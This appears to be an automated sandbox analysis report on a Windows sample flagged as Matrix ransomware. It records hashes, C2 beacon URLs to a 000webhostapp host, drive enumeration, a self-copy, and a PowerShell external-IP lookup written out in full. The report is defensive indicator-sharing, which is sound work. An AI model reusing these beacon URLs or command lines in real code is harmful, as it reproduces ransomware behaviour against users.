Analysis
-
max time kernel
37s -
max time network
45s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
01-02-2022 08:38
Static task
static1
Behavioral task
behavioral1
Sample
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
-
Size
1.2MB
-
MD5
607d292bdcdde297252e002e613282ae
-
SHA1
0161d2dd582d064f7e7f50ccb43478ff0884916a
-
SHA256
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65
-
SHA512
2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://myexternalip.com/raw
Signatures
-
Matrix Ransomware 3 IoCs
Targeted ransomware with information collection and encryption functionality.
description flow ioc HTTP URL 147 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=JDQPXOPR|Admin&sid=0C1X8mEFbio1RHD4&phase=1DC51D98CC9E0E9D|4426|4GB HTTP URL 10 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=JDQPXOPR|Admin&sid=0C1X8mEFbio1RHD4&phase=START HTTP URL 146 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=JDQPXOPR|Admin&sid=0C1X8mEFbio1RHD4&phase=[ALL]1DC51D98CC9E0E9D -
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
-
Executes dropped EXE 1 IoCs
pid Process 5060 NWUBtt34.exe -
Sets service image path in registry 2 TTPs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates connected drives 3 TTPs 22 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\K: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\V: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\U: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\S: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\R: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Q: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\I: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\H: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Z: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Y: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\O: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\N: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\M: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\J: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\X: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\W: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\P: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\L: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\G: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\F: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\E: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 4740 svchost.exe Token: SeCreatePagefilePrivilege 4740 svchost.exe Token: SeShutdownPrivilege 4740 svchost.exe Token: SeCreatePagefilePrivilege 4740 svchost.exe Token: SeShutdownPrivilege 4740 svchost.exe Token: SeCreatePagefilePrivilege 4740 svchost.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1544 wrote to memory of 4960 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 83 PID 1544 wrote to memory of 4960 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 83 PID 1544 wrote to memory of 4960 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 83 PID 1544 wrote to memory of 5060 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 85 PID 1544 wrote to memory of 5060 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 85 PID 1544 wrote to memory of 5060 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 85 PID 1544 wrote to memory of 3240 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 92 PID 1544 wrote to memory of 3240 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 92 PID 1544 wrote to memory of 3240 1544 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 92 PID 3240 wrote to memory of 2488 3240 cmd.exe 94 PID 3240 wrote to memory of 2488 3240 cmd.exe 94 PID 3240 wrote to memory of 2488 3240 cmd.exe 94
Processes
-
C:\Users\Admin\AppData\Local\Temp\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"C:\Users\Admin\AppData\Local\Temp\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe" "C:\Users\Admin\AppData\Local\Temp\NWUBtt34.exe"2⤵PID:4960
-
-
C:\Users\Admin\AppData\Local\Temp\NWUBtt34.exe"C:\Users\Admin\AppData\Local\Temp\NWUBtt34.exe" -n2⤵
- Executes dropped EXE
PID:5060
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\oNKPkvz7.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵PID:2488
-
-
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 11446a7edcf01ad7c7eede18bd20fac6 xegj0HUvL0udcxWGmCNY5Q.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:5108
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4740